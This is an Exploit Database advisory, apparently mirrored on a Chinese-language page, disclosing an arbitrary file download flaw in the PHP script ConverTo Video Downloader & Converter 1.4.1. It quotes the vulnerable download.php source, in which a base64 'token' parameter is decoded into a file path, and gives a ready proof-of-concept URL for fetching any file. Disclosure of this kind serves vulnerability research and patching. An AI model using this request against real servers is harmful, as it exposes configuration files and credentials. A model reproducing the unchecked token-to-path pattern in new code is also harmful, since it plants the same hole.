ConverTo Video Downloader & Converter 1.4.1 – Arbitrary File Download

• Exploit Database
• 24 阅读

• 作者： Ihsan Sencan
  日期： 2017-09-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42927/

• # # # # # 
  # Exploit Title: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download
  # Dork: N/A
  # Date: 29.09.2017
  # Vendor Homepage: https://codecanyon.net/user/lemonadeflirt
  # Software Link: https://codecanyon.net/item/converto-video-downloader-converter/13225966
  # Demo: http://vd.googglet.com/
  # Version: 1.4.1
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: N/A
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Social: @ihsansencan
  # # # # #
  # Description:
  # The security obligation allows an attacker to arbitrary download files..
  #
  # Vulnerable Source:
  #
  # .............
  # <?php
  # 
  # include_once('.......php');
  # // Check download token
  # if (empty($_GET['mime']) OR empty($_GET['token']))
  # {
  # 	exit('Invalid download token 8{');
  # }
  # 
  # // Set operation params
  # $mime = filter_var($_GET['mime']);
  # $ext= str_replace(array('/', 'x-'), '', strstr($mime, '/'));
  # $url= base64_decode(filter_var($_GET['token']));
  # $name = urldecode($_GET['title']). '.' .$ext; 
  # 
  # ?>
  # .............
  # Proof of Concept:
  #
  # http://localhost/[PATH]/download.php?mime=video/webm&title=Efe&token=[FILENAME_to_BASE64]
  # 
  # Etc...
  # # # # #